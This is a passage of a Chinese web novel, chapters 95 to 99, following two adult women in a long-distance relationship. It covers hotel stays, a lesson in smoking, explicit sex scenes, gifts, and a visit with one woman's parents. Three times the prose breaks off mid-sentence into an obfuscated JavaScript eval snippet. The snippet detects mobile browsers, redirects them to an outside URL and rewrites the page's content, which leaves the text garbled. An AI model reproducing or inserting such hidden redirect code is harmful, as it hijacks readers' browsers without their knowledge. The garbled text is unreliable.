清闲,麻烦事也越来越多了。洛依是做技术的,想要跟着前辈好好学,但单位其它人际和琐碎杂事搞得她心烦,身体也跟着容易出状况,但她性子倔,越是这样越要硬挺着做事。 秦离心疼她太辛苦,却劝不动她。 这次见面,两人的话题也离不开工作吐槽。 晚上的春城一如既往的凉爽,洛依选了家烧烤店,吃完十一点过了。回酒店路上,她们买了些水和零食,洛依看着柜台上的一面烟,问秦离:“要买一包么?” 秦离犹豫了下摇头。其实她进入人生新状态后,除了偶尔喝完酒,已经不怎么抽烟了。 洛依误解了,以为她是顾及自己,道:“没关系啦,而且我还没抽过呢,也想试试。” 最后,秦离没有拿过去常买的万宝路,选了细杆的爆珠,好像是叫Esse,红白葡萄款,可能会更适合洛依。 深夜的春城落了些小雨,夜风吹起橘色的纱帘,秦离斜靠在靠窗的沙发上,教洛依如何抽烟。 “你随意架着,不烧到手就行。烟必须边吸边点燃,第一次别吸太深,轻轻一口。真吸的话就吞进肺里,鼻子呼出,像这样……” 秦离做了个示范,熟练地吞云吐雾,神情在烟雾里似有些怅然。 “不过这样对第一次抽烟的人来说可能太呛了……” 她话还没说完,洛依已经学着她的样子想要入肺,意料之内的承受不住,开始猛咳。 “哈哈,别着急呀。” 秦离忙给她递水,又接过烟,怕她被烧着。 洛依咳了好一会才缓过来,艰难地把这根烟吸完,感慨:“我还是不太习惯抽烟。” “不习惯不用强求啦,本来烟也不是什么好东西。” 秦离说着,熟练地抽完手上这根,吞下混合着薄荷香的淡淡烟味,将大半盒烟扔回袋子里。 就这一点点烟味,洛依也不太习惯。两人都洗了澡,等洛依出来时,刚好过十二点。 秦离拿出星星玻璃罐,里面叠满了的纸星星,闪着温暖的橙色灯光。 “乖仔,七夕快乐呀~每颗星星里都有我想跟你说的话,你开心,不开心都可以拆一颗。” 洛依愣了一瞬,笑得有些甜:“七夕快乐,姐姐。”她抱着星星罐,小心地取出几颗看了看,又望向秦离:“不过我可能是不舍得拆的。” 秦离喜欢她看着自己的专注眼神,就这样,一直看着自己就好。 洛依也从包里掏出一个小袋子,递给秦离:“礼物~我觉得你涂这种应该挺好看的。” 里面是一支偏蜜桃色的镜面唇釉。 “哇——” 秦离很欢喜。她没想到洛依也准备了礼物,迫不及待涂上:“我很喜欢。” 寂静的夜里,室内的空气却逐渐炙热。两人四目对视,不知是谁先主动,抓着手,环着颈,交换着津液,传递着体温,水乳交融。 唇釉亲得一塌糊涂,落在了另一具身体上,到处都是。 两颗心在黑夜里蠢蠢欲动,一切都是那么自然。 96. Chapter 96 秦离已经不是当初一无所知又容易害羞的模样了。她主动又熟练,在亲密接触里十分强势。 洛依也不是愣头青,却仍然很羞涩。她洗完澡后穿戴整齐出来,将大灯关完只留了盏小夜灯,又钻进被子里,才脱掉衣服,整个过程里都用被子盖住两人,不好意思裸露在外。 秦离抱着她,只觉得她像一块香甜柔软的小布丁,软化在自己怀里。她将动作放得很轻,总怕伤到她。 躺在怀里任她动作的是洛依,秦离身体的酸软和欲望却前所未有的强烈。 “宝贝……你是我的珍宝……” 秦离心中的爱意膨胀着、燃烧着,觉得自己下一刻或许就要死掉了。 洛依很敏感,小声呻/吟着,很快除了“姐姐”就什么都说不出来了。 秦离喜欢她叫自己姐姐,尤其在这个时刻。她简直想亲遍洛依的全身,却顾及她的意愿不敢往下,只有大汗淋漓,发丝和四肢都缠绕在一起。 这一刻太美好了,秦离一瞬间希望,这个夜晚永远不要过去,永远在这个房间里,这一时刻。 洛依没力得很快,最后一边说着“你坏死了”一边又满脸依赖往秦离怀里钻。 她这样太可爱了,秦离搂着她,完全失去理智,凑过去只想索求更多的亲吻。 最后直到天微亮,洛依累的睡过去了,秦离仍然精神亢奋,借着小夜灯,用目光一遍又一遍临摹她的眉目。 秦离再醒来时,洛依还在睡,依旧保持着枕在她手臂上的姿势,面对面,呼吸混合在一起。 她左手已经彻底麻了,却一点不舍得动,拉过被子给洛依盖好,又闭上眼睛。 再次醒来时已经下午四点过了,洛依也醒了,在秦离怀里哼哼唧唧的。 秦离逗她:“是谁哼哼唧唧的,跟小猪一样呀。” “哼……”洛依瞪了她眼,突然凑过去咬在她的肩膀上。她用了力,秦离感觉到刺痛,将她抱得更紧了。 洛依带给她的一切感觉,包括这种疼痛,她都爱得不行。 咬完后,洛依轻轻舔了舔,引得秦离身体不自觉颤抖。 两人就这么温存着、黏糊着,最后是咕咕叫的肚子迫使人必须起床了。 “吃什么啊……”这依旧是个世纪难题。 秦离确实是什么都行,洛依想吃酸菜鱼,两人便去了一家很有名的连锁店,味道果然还不错。 期间还发生了件事,尽显e人和i人的本质不同。有道菜一直没上,秦离习惯性地大声喊着服务员,被洛依惊恐拉住。她等着服务员走近了才趁机询问,大声不了一点。 秦离觉得这样的她也超级可爱,笑得不行,最后都依了她,不再做那些让i人惊恐的e人行为了。 来春城前,秦离预想了很多活动,什么博物馆啊石林啊湖啊少数民族村啊,或者至少也做点什么娱乐项目,结果来之后,除了出去觅食,她只想和洛依在酒店里缩着,昼夜颠倒,大部分时间都在床上。 哪怕只是呆在一起说话,几个小时也很快就过去了。 时间跑得好快。 吃完饭,两人又缩回了宾馆,主要是天又黑了嘛。 洛依的腿现在还发软呢,两人裹着被子靠在床头一起看比赛。秦离平时看的都是moba类,洛依喜欢的是fps的一款冷门游戏赛事,秦离便陪着她看,听她讲规则和喜欢的选手的故事。 洛依喜欢的,秦离就很感兴趣。 两人又聊了好多话题,从喜欢的明星、电影、书籍、游戏,到日常生活的各种喜好习惯,秦离发现她们的偏好总是不同,但本质上都是追求诗和远方的文艺青年。 洛依虽然做出的决定都很主流现实,骨子里却是有些天真的理想主义,对她们所在这个系统的许多“潜规则”都嗤之以鼻,只是无可奈何。但即便如此,她依旧想要把手上事情都做好,得到身边人的认可,执着得可爱。 秦离也是一贯的理想主义,却不在外界的认可和追求自我这些事上再内耗自己了。人生如此艰难,本质上做什么都挺没意思的,也做什么都可以。她做的一切事都只是对得起自己,问心无愧,至于其他人,萝卜茄子的实际跟她没有半毛钱关系,维持表面和谐就可以了。 况且现在疫情这么厉害,每个人,还有人类社会未来会变成什么样都不知道,大家还能不能平安健康地生活下去也不知道。 活着就好。至少她现在还有美好的爱情。 黑夜来得很快,积攒了些力气后,洛依又开始蠢蠢欲动了。 这次,她要做主动的那方,想要“欺负”秦离。秦离自然是依她的,在上在下,她都能接受。 洛依的攻势没有昨晚秦离来得那么凶猛。她很有耐心,也很有耐力,技巧很足。 一开始,秦离还能分神去看洛依的脸,思绪乱飘。到后来,她大脑一片空白,只能随着洛依的节奏不可控制地发出声音,身体也越颤越厉害。 看着秦离明显的反应,洛依得意极了。她故意挑秦离就要到顶点的时候发问,还一定要她这会回答。 “姐姐,你怎么抖得这么厉害呀。” “听见水声了吗,姐姐……” “姐姐,你怎么不说话呀?” “姐姐~” 听着她故意使坏,秦离一点招都没有,喘着:“你个……小混蛋……” 洛依笑得更厉害,手上动作也更快了,直到到达顶峰后结束,秦离只能瘫在床上喘气。 她恢复力很强,很快又翻身在上,这次“报复性”把洛依欺负得更厉害,看见她眼角带泪喊着“不行了”也不放慢。 过程中,洛依总是引诱般让秦离再用力些,愿意承受她带来的一切痛感。秦离明明是想要温柔以待的,最后却忍不住愈发凶狠,在洛依身上留下许多痕迹。 “坏人!” 结束了,洛依依旧要控诉秦离,秦离听了笑得更腻了。 到最后两人终于耗尽力气,披着被汗水浸湿的被子倒在床上,即使热,也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370226|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧紧抱在一起。 洛依调了喜欢的○冢歌剧团的视频,两人靠在一起看。 秦离和洛依的偏好依旧是那么不同。洛依喜欢气质清正的月组,而秦离喜欢带点吊儿郎当牛郎气质的花组。 洛依笑着说,这果然是她会喜欢的类型,花里胡哨,秦离也觉得如此。 两人又是磨蹭到天色微亮才相拥而眠。 洛依习惯将空调开得很低,裹着被子。秦离抱着她,肩膀有些发凉,但没调温度,只是给两人掖了掖被子。 第二天两人是被客房服务叫醒的,又是下午了,算算时间到秦离坐飞机走只有五个多小时,气氛明显低迷下来。 “我不想你走……” 坐在猫咖店里度过分别前的最后时光,洛依神情低落,失魂落魄。 秦离看不得她难过的样子,心疼得不行,昏了头:“要不我请假再多呆两天吧,刚好在酒店躺躺,等你下班了来找我,我们吃东西看视频,也不累。” 洛依似有些心动,犹豫了阵还是摇头:“还是算啦,我舍不得你,但也不想耽误你的正事。” 她总是如此纠结矛盾,使秦离在她的事上也变得优柔寡断,总害怕给她带来负担。 还好猫猫足够治愈人心。 洛依很喜欢猫。她家里就养着一只暹罗,因为常年在外敞跑,身体——尤其是脸,黑得像煤炭。 她这会用猫条喂猫,眉间的愁绪总算淡了些。 秦离对猫没什么感觉,不过喜欢看洛依逗猫。大猫逗小猫,加倍可爱。 无形的倒计时一点点走着,最后的陪伴时刻,两个人都很难受。 去机场的地铁上人很多,两人缩在角落里,依偎在一起。 分开前,洛依没有再讲什么不舍的话,但她的眼睛已经诉说了一切。 直到最后一刻,秦离才最后一次不舍回头,随后踏进安检,像她之后每一次那样。 还没到登机口,秦离就收到洛依发来的消息。 【你才刚走,我就已经好想你了。要是你可以留在这里,或者我们可以在一个地方生活工作就好了。我想你来,但又不想你来。你来了还是要走,每走一次我就会难过好久……】 秦离盯着手机很久,也好难过。她给她回了很长的话,将原本还在考虑的想法全部说了出来。 【乖仔,我们不会一直这样的。我本来就没打算一直做这个工作,更想做喜欢的事业,去高校,或者文化相关的行业。现在也只是过渡阶段,本来我也在投简历备考,给我一年的时间,最迟明年,肯定会有变化的。明年我们就不会再异地,可以住在一起,每天都可以见面,下班后我们可以一起看比赛看剧,去吃好吃的。现在只是一时的,不要难过呀,我不想你不开心[抱抱.jpg][摸摸猫猫头.gif]】 秦离说的是真心话,也确实在做相关准备。她不想自己的选择成为洛依心中的负担。 也不想之后常有分离,不想每一次分离都如此痛苦。 97. Chapter 97 【好呜[奶茶鼠爱你.gif]】 直到飞机降落,秦离才看到洛依的消息。很快有新的进来:【你到了吗?】 【到啦。】 刚下飞机,秦离便迫不及待戴上耳机打电话。洛依没有提之前的话题,秦离便没说更多,不想给她压力。 这之后,生活如常,秦离继续着三点一线,在家,单位和春城之间来往。每两到三周,她就会去见一次洛依。 两人大部分时间都在酒店度过,试过的花样也越来越多。秦离买过红色的性感睡衣,可爱的女仆装,最后都散落一地。 洛依最喜欢让秦离趴在床上,每一次亲吻落背上都使她过分敏感,身体颤个不停。每当这时候,洛依就会变得很“坏”,老是逗人。 这是秦离难得可怜的时刻,不过其实她也喜欢这种感觉,喜欢洛依难得强势,坏坏的样子。 一两次之后,洛依也摸清秦离的喜好了。她会穿上白色衬衫,也会准备些项圈锁链之类的“惊喜”。 哼,秦离是有点微抖S属性在身上啦。她虽然没直说,洛依也看出了她内心那点隐隐的控制和破坏欲。 更过分的,洛依敢买,秦离也不敢用了。 事实上,每一次,秦离都是从小心翼翼不敢动作怕将洛依弄痛开始,被洛依激得忍不住变得粗暴收尾。 每一次,洛依看着都是那么可爱,怎么样都好可爱。 “宝贝,我的宝贝……” 秦离过去不理解为什么会有人喊宝贝,心肝,宝宝这么肉麻的称呼,现在总是爱叫洛依“宝贝”。她在床上叫,在外面也叫,每次都弄得洛依很不好意思。 秦离还热衷于准备各种礼物和惊喜,每次见面都有不一样的。这一次是在家做的曲奇饼干,下一次是木工小摆件,还有些毛毡玩具什么的。她熬了很多夜,做这些总是乐此不疲,甚至还想自己做耳机,最后因为害怕漏电而放弃。 她为洛依写诗,给她弹琴唱歌,给她调酒,极尽一切浪漫事。 裴子霜曾问她:“你这样不留余力去付出不会累吗?” 秦离回答:“我喜欢她,就想给她最好的。我过去恋爱时做过的事会为她做,过去没做过的事也会做。” “你这样,那每开启一段新恋情时不是会更累?” 秦离摇头。 她不会天真地说自己能和洛依永远在一起。她想要一直走下去,但理性知道她们或许什么时候就可能会分开,但至少当下,她不想有所保留。 “等到那时候再说吧,”她这时语气轻松,“而且我是个精力很充沛的人嘛,总能做更多事的。” 不能见面时,秦离知道洛依喜欢什么,或者看到什么有意思的东西,也都会下买给她。 和秦离不同,洛依很喜欢吃,对吃也很有研究。秦离便会到处搜索哪些零食好吃,然后隔一段时间就打包下单,什么松露巧克力,酥皮点心,薄荷巧克力奶,还有各种糖果。 这些秦离都没尝过,希望洛依会觉得好吃。 在送礼物这方面,洛依对待秦离的心意也是相同的。 在秦离意识到的时候,她用的香水,手机,车载香薰,帽子,T恤各种都是洛依买给她的。 手机是洛依知道当时她用的那个出问题后,直接买给她的,到货时她才知道。 甚至有阵子老妈资金紧张需要几万块钱周旋时,秦离还找洛依借过钱,洛依二话不说直接打给她。 虽然过两周秦离就还回去了,她还是对着洛依感慨:“单看行为我好像个骗子啊。才确定关系没多久你就给我买各种东西,我还找你借巨款,像是下一秒就要跑路的杀猪盘哈哈。” 洛依不在意这些:“东西都是我想买给你的,至于借钱,这是你急需嘛,我又有,这不是刚刚好吗。” “被钱难倒的滋味真的很难受,生活已经很辛苦了,我希望你少点烦恼,开开心心的。” 洛依同样展露的赤诚和真心总是让秦离心动不已。这样的洛依,值得她付出多些,再多些。 两人见面也不总是都呆在床上。 春城四季如春,即使是夏天也不太热,她们吃遍各种好吃的东西后,就会到处走走,去逛逛书店,看看电影,看看花。 秦离其实是想和洛依一起去做对情侣戒指的,但总是见面就黏在了一起,昏天暗地,也找不到大块时间。 一拖再拖。 没事,秦离想着,之后吧,时间还很长,总会有机会的。 之前说过换工作和解决异地恋的事后,洛依虽然没再提这个话题,见面聊天时说起对未来期待的时候却多了很多。 “估计明年过完年就会调我去花城那边了,花城肯定是比这里好啦,就是房价太贵了。不过只有两个人住的话,六七十平米,两室应该就可以了。” “是呀,”秦离带着些笑意,“到时候我就只有在你这里蹭吃蹭喝了。” “那很好呀。”彼时,洛依靠坐在床头,抱着枕头,眼睛很亮,“这样每天下班我都可以看见你,你可以抱抱我,亲亲我,这样白天再辛苦都没关系。” “我们可以养一只金渐层——和你很像的猫,在家看电影看书,有精力就一起做饭,在周末天气好的时候出去溜达,在假期一起去许多城市,逛许多博物馆。” “每天我们都能躺在一张床上,无论天晴下雨,我们能抱在一起入睡,能在睁眼的第一刻看见对方。” 洛依有好多好多话,有好多好多期待,秦离都知道。她抱了抱洛依,又亲亲她的眼睛和嘴唇,认真道:“都会实现的。” 她已经在准备简历了,也报名了下半年的考试。也是映证自己的话,她的工作地点并没有局限在羊城,南城和梦城也在其中,主要还是看哪里能找到更合适的工作。 梦城……虽然已经离开六年了,不管如何,依旧是她的自由乌托邦。如果不考虑任何因素的话,她最想去的地方还是那里。 当然,这些她都没有说。 秦离也想了很多,那种同居的设想太过美好,让她对人生的期盼也多了些。 换工作方面,虽然她感性更偏向于文化行业,但对未知的恐惧让她理性上倾向于熟悉的赛道——考公。 毕竟能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370227|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用考试解决的问题都不是问题。至于投简历,除了房地产销售,她没有任何工作经验,学历上也只是本科,连高校行政岗的最低学历要求到达不到,又能投什么岗位呢。 关于跳槽的事,她也跟妈妈爸爸商量过,虽然她们很不赞同,认为现在能考上很不容易了,要放弃铁饭碗去不稳定的企业上班实在是亏本买卖,但最终也没极力反对。 爸爸只说:“你已经这么大了,自己做决定就好,但不管怎么说,下份工作待遇各方面不能比现在差吧?” …… 秦离不敢保证。 做销售或许收入更高,但是不稳定,而且她也不想在那个行当再折磨自己了。写文的话作为副业缓慢发展倒是可以,她又不想写热题材,也不是什么一本爆红的紫薇星,估计三年五载没什么收入。 这也不行,那也不合适,除了备考,秦离踟蹰不前,本质还是对自己不自信,稍微有点风险的决定都不敢去做。 小姨看人很准,曾说秦离是个虽然很追求自由又很能社交,实际选择偏保守传统的人。 或许确实是如此吧。 秦离也投过几家公司和高校,但都石沉大海。她内心很焦虑,但没在洛依面前表现出一点。 就在这时,秦离单位也发生了些事。 她们科室主要负责的是不动产领域,九月初时,有个负责住房的同事突然提出离职,说是要跟朋友去创业,科长主任轮番劝也没劝动,只能放人走。 于是这个业务有了空缺,秦离顶上。 本来还在摸索单位基本工作流程的秦离被迫赶鸭子上架,匆忙接了大量工作,短时间内要学习掌握几大本的住房政策,还有迎接即将到来的工作组检查。 巨大的工作量和繁琐的人际关系一下子压了过来,秦离被迫开始加班,情绪也变得不稳定,和洛依说话都忍不住吐黑泥,说了一大堆又后悔将负面情绪带给她。 洛依不是个擅长说安慰话的人,只能跟她聊其它事情转移注意力,故意营造轻松氛围。 这种不直接的安慰会让秦离心里空落落的,产生了些没有被重视的感觉,随即因为产生了这种感觉而自责。 她不想给洛依带来太多情绪负担,作为年长的那个,她应该成为成熟可靠的存在。 短短半个月,秦离已经和综合,人力和财务部门的人都产生过摩擦,不过她那几年工作的摸爬滚打也不是白费的,用一种比较委婉又不软弱的方式应对回去,问题解决了,也没得罪人,连科长都夸她做得不错。 秦离其实是个很讨厌接电话的人,却被迫学会了在电话上跟所有人套近乎,看着八面玲珑,游刃有余。 她心中的彷徨恐惧只与杨颖,单超和陆希意这些极亲密的朋友说起过,对着洛依反正无法彻底剖开内心。 她还想要在洛依面前保持自信成熟的形象。 果然,听着她隐隐自夸,洛依也毫不吝惜夸奖:“姐姐真的好厉害呀!这些也都搞得定。” 这时候,秦离仿佛能看见她那清澈明亮的眼睛望着自己。 满足了,怎么样都可以了。 98. Chapter 98 九月一整个月都兵荒马乱的。工作组本来说要来,害得科长拉着整个科室疯狂加班准备迎检,连周末都没放过。结果一周又一周,要求提了不少,人是一点没见着,问就是疫情原因延后,时间待定。 所有人都提心吊胆着,还没见着工作组就已经被折腾得精疲力竭。 【累死了,台账翻来覆去地更新完善,一段话的材料要推一个晚上,真的是无语死了……】 秦离很难不吐黑泥,每天都是怨气冲天。 洛依倒是没那么多事,但看秦离实在是太忙了,减少了工作时间给她发消息的频率,不想给她造成困扰。 秦离心中愧疚,在各种工作间隙主动给她发消息,休息时间打电话到很晚,也忍着困意不想被洛依察觉,不想给她造成困扰。 还有不到一周就国庆了,再忙,秦离的心也飘走了,想着洛依有什么安排。 她要回家吗?有没有机会两个人一起出去旅行呢? 就算哪里都不去,在春城可以多呆几天也好啊。 偏偏这个时候,爸爸终于可以休息,和妈妈一起回南城了。许久没见,一家人自然是得多聚一聚,但秦离实在是想念洛依,心中纠结。 心有灵犀般,当天洛依就主动提到:【姐姐,国庆有什么安排呀?】 【还没有,你呢,要回家吗?】 【嗯呢,已经快半年没回家了,想回去一趟。】 果然…… 秦离心中失落,但也不好多要求什么,应道:【也是,难得有个长假,是该多陪陪家里人。我妈爸也说国庆过来呢,也是好久没见面了。】 【呀,那我来南城,你不是没空了?[奶茶鼠探头.gif]】 秦离惊喜万分:【不是说要回家吗?】 洛依这才说出早就酝酿好的主意:【不冲突嘛,我先回去呆两天,三号再过来找你,假期结束直接回单位。】 【好呀好呀!】 秦离求之不得。 时间过得好慢,秦离魂不守舍地过完接下来一周,连妈爸来后,三人做了什么的记忆都像隔了一层纱,朦朦胧胧。 终于到三号,一大早秦离就醒了,看了好多次时间,离飞机降落还有2个小时就迫不及待开车去机场了。 妈爸也知道她有个朋友要来成都玩。妈妈很高兴,说等朋友来可以住家里。秦离好几年的空窗期已经让妈妈忘却了她曾经轰轰烈烈的出柜宣言,那些拒绝相亲的行为也被当作年轻人的叛逆。 爸爸知道时盯了她几眼,但没多说什么。 这些秦离都顾不上了。她满心是马上见到恋人的兴奋,在她生长的这片土地上。她可以带她见自己的家人和朋友,去好多熟悉的地方。 在机场等了半个多小时后,洛依终于出来了。 在来来往往的人群里,秦离第一眼就看见了洛依。她快步奔过去,将人抱在怀里,熟悉的清香味让悬着的心落到实处。 “我好想你。” “我也是。” 洛依紧紧回抱。 在人来人往的机场,她们只是最普通的久别重逢的两个人。 秦离开着家里的老式别克车来的,看着洛依坐在副驾驶,朝着家的方向开去,心中无限满足。 “接下来有什么想做的呢?” “我都可以啦,主要是来见你的嘛。和你在一起,做什么都很好。” “好的呀。”秦离迫不及待抛出想法,“我妈爸也知道你过来了,说是晚上一起吃个饭呢。” “啊。”洛依顿了下,秦离心中紧张了瞬。不过很快,洛依又继续道:“她们,知道什么吗?” 忽略爸爸的不对劲,秦离摇头:“我还没跟家里人说我和你的事,虽然之前已经出柜过了,但她们都不太接受,我就想着循序渐进慢慢来。” 她有些愧疚,明明有恋人了却没告诉家里人,不符合她的恋爱原则。 洛依倒是觉得很正常:“肯定不可能直接跟家里人说嘛,这种事最多是心照不宣,不好捅破那层窗户纸的。” “那你妈爸知道吗,你喜欢女生这件事。” “应该有猜到吧,毕竟中学时我妈有看见我和当时女友的情书来往。不过她们都假装不知道,我们也默契不提这件事。” 秦离不太赞同这种方式。在她的观感里,是就是是,不是就是不是,要说得清清楚楚。不过这毕竟是洛依自己的事,她也不好多说什么。 晚上,妈妈在家门口的家常菜店订了包间,点了一大桌子菜,四人吃了很多,也喝了不少。 妈妈爸爸坐一边,秦离和洛依坐一边,氛围像是家宴一样。 妈妈问洛依能喝酒吗,洛依说能,于是妈妈给她倒了一大杯红酒。 酒过三圈,秦离才发现她脸上、脖子上、手臂上皮肤都发红了,手心也在发烫。 秦离有些紧张,问她:“你怎么了,不舒服吗?” 洛依这才道:“没事,我就是喝了酒可能会有点过敏反应。” 这还得了。秦离吓了一跳,赶紧叫停,给妈爸解释,妈爸也急忙将她的酒换成豆奶。 秦离牵着她的手,小声道:“你不能喝的话跟我说呀,别让自己难受。” 洛依似乎已经有些醉意了,眼神迷离:“第一次见你妈爸嘛,她们倒酒,总不好不喝的。没事,这点反应,一会就好了。” 秦离又着急又欢喜,饭桌上欢笑不断,饭桌下两人牵着的手再未松开过。 洛依在长辈面前尤为乖巧,很讨人喜欢,连平时少言的爸爸都忍不住多说了些。 吃完饭,妈妈拉着洛依去家里再坐坐,想让她晚上就住家里,和秦离一起睡。 妈爸在厨房切水果时,秦离正带洛依看自己的房间。见她们没注意,她轻轻掩上门,终于忍不住将洛依按在墙边,热烈地吻了过去。 洛依抱住她,同样热烈地亲了回去。 房间外是妈爸聊天和切水果的声音,房间内是两人唇舌纠缠带出的水声,秦离贪婪地汲取恋人口腔里的所有津液和空气。 直到房门被敲响,两人猛地一惊,在门打开前拉开距离,抹了抹唇。面对叫她们吃水果的妈妈,秦离的心还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370228|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怦怦直跳。 知道洛依在家里呆着会不自在,最后,秦离主动提出她陪着洛依在外面住,这几天她们就开车出去玩,等送洛依走了她再回来。 妈妈理解年轻人需要活动空间,大手一挥,放她们走了。爸爸眼底情绪复杂得多,最后也只说了句:“注意安全。” 今天已经很晚了,秦离选了家附近的酒店——不是常去的那家连锁。一进房间,两人边扑在床上,极尽狂热地亲吻和抚摸。这一刻,积攒了许久的思念和渴望全部化作浓烈的爱意和行动,恨不得将对方吞吃入肚。 急切的夜晚,轮到洛依在上时,她突然反应过来,停住问:“你生理期是不是快来了?” 秦离这时哪等得了,忙道:“是快了,但现在还没来,没关系的。” 她边说边扭头朝洛依索吻。 洛依也按捺不住,与她胡乱亲着,动作着。 房间里只留了一盏小夜灯,隐隐照出两人的轮廓,缓慢的音乐流淌着,在秦离的急促呼吸中,洛依的动作也忍不住越来越快。 到最后结束了,洛依随意一瞥,惊得差点跳起来:“你出血了!” 她手指上是带着血丝的粘液,床单也晕开了些混着水的血迹。 洛依有些慌:“痛不痛?要不要去医院?” 除了高潮的余韵带来的力竭外,秦离倒没觉得哪里不舒服。她拉着洛依躺下,拍了拍她的手臂:“我没什么感觉,可能确实是生理期要来了,才有点血迹带出来,没什么,别担心。” 洛依还是不放心,让她用纸巾擦了擦,这会没带出血迹,看来是没一直出血,洛依紧绷的弦才稍微松了点。 这么一遭下来,洛依也没什么心情继续了,仍然心神未定:“真的没有哪里不舒服?” “真的,我很好。”秦离说着,安抚性亲了亲洛依的额头和嘴唇。 她的嘴唇软软的,有些冰凉,看来是真的被吓到了。 秦离将她抱在怀里,轻拍着她的背:“没事的,宝贝,我没事的。如果我哪里不舒服,第一时间跟你说,好不好?不想做我们可以睡了,不想睡也可以看些视频。” “……嗯。” 埋在秦离怀里,皮肤紧紧贴在一起,感受着两颗心脏同频的声音,洛依终于镇静下来。 过了会,洛依突然又动了。 秦离问道:“怎么了?” “我,我去把床单上的血迹洗下。” “没事,一点点血,我们避开点睡就好。” “不是啦!会被保洁阿姨看见,那也太羞人了!” 其实秦离是无所谓的,但洛依很在意给别人造成麻烦,还暴露隐私。毕竟她是每次退房都会将房间里的垃圾全部收拾进垃圾桶的人。 秦离总是依着她的。 于是半夜三点,两个人打了水,用毛巾沾着洗手液疯狂擦拭床单上的血迹,又用吹风机吹干,折腾了许多遍后总算是淡化到几乎看不见的程度了。 结束时两人都是一身汗,四目对视,忍不住同时笑出声。 真是跌宕起伏的一夜啊。 99. Chapter 99 第二天,两人惯例睡到了下午两点退房时,今天的行程,秦离早有安排。 开车将行李全部搬到市中心的○季酒店,秦离望向洛依,眼里满是期待:“乖仔,我们等下一起去做戒指,好不好?” 洛依欢快地应下了。 南城的DIY店很多,秦离就近选了家。 节假日的下午,店里坐满了人。两人等了会,才找到个靠窗的位置。 店员给她们介绍制作流程,敲打银条,再用激光刻上想要的花纹,最后焊接打磨就行,搞不定的部分也会有人来帮忙。 听上去还挺简单的,跟秦离想象的不太一样。她还以为要从银条烧制成型开始呢,洛依笑道,这样她们得去找个厂了。 亲手制作戒指在秦离心中有不同的意义,她做得很认真,将原本需要的时间拉长了一倍。 她的戒指上是双排线条汇集到顶部的星星。洛依的是同样的双排线条汇集到顶部的月亮,月亮旁边有颗很小的星星,内侧分别刻着Q和L摩斯密码。 戒指有些粗糙,秦离却喜欢得不行,戴在右手无名指上。 “你就是我的月亮,我想一直陪伴着你,只要你开心就好。” 洛依害羞地笑着,将戒指戴在同样的位置。她和她的十指紧扣着,冰冷金属的碰撞感让秦离心口发涨,好像完成了什么重要的仪式。 洛依承诺着:“除了上班不能戴饰品外,我会一直戴着的。” 秦离回应:“我也是。” 晚上,因为顾及秦离身体,洛依一晚上都在下面。看着只穿着大一号的白色衬衫,手上戴着戒指的洛依,秦离疯了一样的攻略着,终于克制不住吻遍她的全身,从外到里。 到最后,两人都精疲力竭,倒在床上,洛依连瞪她的力气都没有了。她们混合着各种气味抱在一起,倦意来袭,秦离只无意识吻了吻洛依的唇和指间的戒指,陷入沉睡。 第三天中午,秦离才看到昨天杨颖给她发的消息,说单智已经回来了,打算今天大家聚一下,问她有没有时间。 似乎是家里出现什么重大变故,所以她买了高价机票,顶着近一个月的隔离时间也要回国,因为之前不确定情况怎么样,就没跟大家说,前两天才刚把家里事处理完。 要见单智,秦离自然不可能拒绝。她问洛依:“我有几个关系很好的朋友约着一起聚一聚,你要一起吗?” “好啊。”洛依很快应下。 估计单智最近心情不佳,为了缓和气氛,大家决定下午先去唱k,晚上再吃德国菜,有家猪肘据说很好吃。 秦离没什么意见。 情侣在一起效率总是很低的。她自觉也没刻意耽搁,和洛依起床收拾后到KTV就变成最后一个了。 进房间后,她先看到单智。 是单智吧,她一下有点没认出来。对方黑了许多,减了个寸头,看起来很精干,手臂上有隐隐的肌肉,身体状态比过去好了许多,精神状态看着也意外不错。 杨颖、裴子霜和许平平都到了,单智笑着跟她挥手打招呼:“好久不见。” 人比较多,洛依有点怕生,站在秦离身侧,抓着她的手臂。 久别重逢,秦离有很多话想跟单智聊,跟她坐在角落里。但秦离又不忍心放洛依一个人,让她坐在自己另一侧,时不时转过去安抚她几句。 洛依没有唱歌,也黏她黏得厉害,依旧抱着她的手臂,听她们说话,没有玩手机。 裴子霜一贯缩在边上刷手机,现在许平平和杨颖是唱歌的主力军。 秦离很担心单智,又不好直接开口问她家里的情况,旁敲侧击先聊了些国外的生活。 